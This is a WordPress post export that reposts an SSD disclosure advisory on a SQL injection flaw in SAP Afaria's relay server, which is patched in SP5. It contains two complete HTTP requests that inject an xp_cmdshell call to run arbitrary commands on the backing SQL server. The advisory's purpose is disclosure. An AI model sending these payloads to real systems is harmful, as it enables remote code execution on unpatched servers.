{"id":6354,"date":"2017-01-24T14:20:08","date_gmt":"2017-01-24T22:20:08","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/01\/24\/news-192\/"},"modified":"2017-01-24T14:20:08","modified_gmt":"2017-01-24T22:20:08","slug":"news-192","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/01\/24\/news-192\/","title":{"rendered":"SSD Advisory \u2013 SAP Afaria SQL Injection"},"content":{"rendered":"<div class=\"entry-content\">\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes an SQL injection vulnerabilities in the SAP Afaria Service Pack 4 HotFix 15 that can lead to execute arbitrary code.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor Responses<\/strong><br \/> SAP Afaria has released patch to address the vulnerability &#8211; SP5<\/p>\n<p><span id=\"more-2944\"><\/span><\/p>\n<p><strong>Vulnerability Details<\/strong><br \/> When Afaria installed on mobile device, the user is given an &#8220;<em>enrollment code<\/em>&#8221; which is used to identify the relay server. This enrollment code is a URI on tinyurl that redirects to the relay server so that users do not have to type in the <em>https:\/\/FQDN\/path<\/em>.<\/p>\n<p>The following two HTTP requests can be used to trigger the SQL injection and call the MS SQL Server&#8217;s <em>xp_cmdshell<\/em> command and cause the SQL server to execute arbitrary code.<\/p>\n<p>Command Injection #1<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5887d316b89ce420111395\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> GET \/ias_relay_server\/client\/rs_client.dll\/mdm-es\/devauth\/aipService.svc\/StartEnrollment?GUID=GUID&#8217;;CALL%20xp_cmdshell(&#8216;INJECT_COMMAND&#8217;);&#8211; HTTP\/1.1  Host: example.com  User-Agent: Mozilla\/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit\/534.46 (KHTML, like Gecko) Version\/5.1 Mobile\/9B206 Safari\/7534.48.3  Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8  Accept-Language: en-us  Accept-Encoding: gzip, deflate  Connection: keep-alive<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0090 seconds] -->  <\/p>\n<p>Command Injection #2<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5887d316b89d8293841759\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> GET \/ias_relay_server\/client\/rs_client.dll\/mdm-es\/devunauth\/aipService.svc\/GetClientBrandingData?UDID=UDID&#8217;;CALL%20xp_cmdshell(&#8216;INJECT_COMMAND&#8217;);&#8211;&amp;TenantID=0&amp;ImageType=iPad1G HTTP\/1.1  Host: example.com:443  User-Agent: Afaria iPhone Client  Accept: *\/*  Accept-Language: en-us  Accept-Encoding: gzip, deflate  Cookie: ias-rs-sessionid=&#8221;cookie&#8221;  Connection: keep-alive<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5887d316b89d8293841759-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5887d316b89d8293841759-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5887d316b89d8293841759-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5887d316b89d8293841759-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5887d316b89d8293841759-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5887d316b89d8293841759-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5887d316b89d8293841759-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5887d316b89d8293841759-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5887d316b89d8293841759-1\"><span class=\"crayon-v\">GET<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ias_relay_server<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">client<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">rs_client<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">dll<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">mdm<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">es<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">devunauth<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">aipService<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">svc<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">GetClientBrandingData<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-v\">UDID<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-i\">UDID<\/span><span class=\"crayon-s\">&#8216;;CALL%20xp_cmdshell(&#8216;<\/span><span class=\"crayon-v\">INJECT<\/span><span class=\"crayon-sy\">_<\/span>COMMAND&#8217;<span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">TenantID<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ImageType<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">iPad1G <\/span><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5887d316b89d8293841759-2\"><span class=\"crayon-v\">Host<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">example<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">443<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5887d316b89d8293841759-3\"><span class=\"crayon-v\">User<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Agent<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Afaria <\/span><span class=\"crayon-e\">iPhone <\/span><span class=\"crayon-e\">Client<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5887d316b89d8293841759-4\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-o\">*<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5887d316b89d8293841759-5\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Language<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">en<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">us<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5887d316b89d8293841759-6\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Encoding<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">gzip<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">deflate<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5887d316b89d8293841759-7\"><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ias<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">rs<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">sessionid<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;cookie&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5887d316b89d8293841759-8\"><span class=\"crayon-v\">Connection<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">keep<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">alive<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0031 seconds] -->  <\/p>\n<\/p><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/2944\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vulnerabilities Summary The following advisory describes an SQL injection vulnerabilities in the SAP Afaria Service Pack 4 HotFix 15 that can lead to execute arbitrary code. Credit An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program. Vendor Responses SAP Afaria has released patch to address the vulnerability &#8211; SP5 &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/2944\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 SAP Afaria SQL Injection<\/span> <span class=\"meta-nav\">&#8594;<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[10757],"class_list":["post-6354","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/6354","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=6354"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/6354\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=6354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=6354"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=6354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}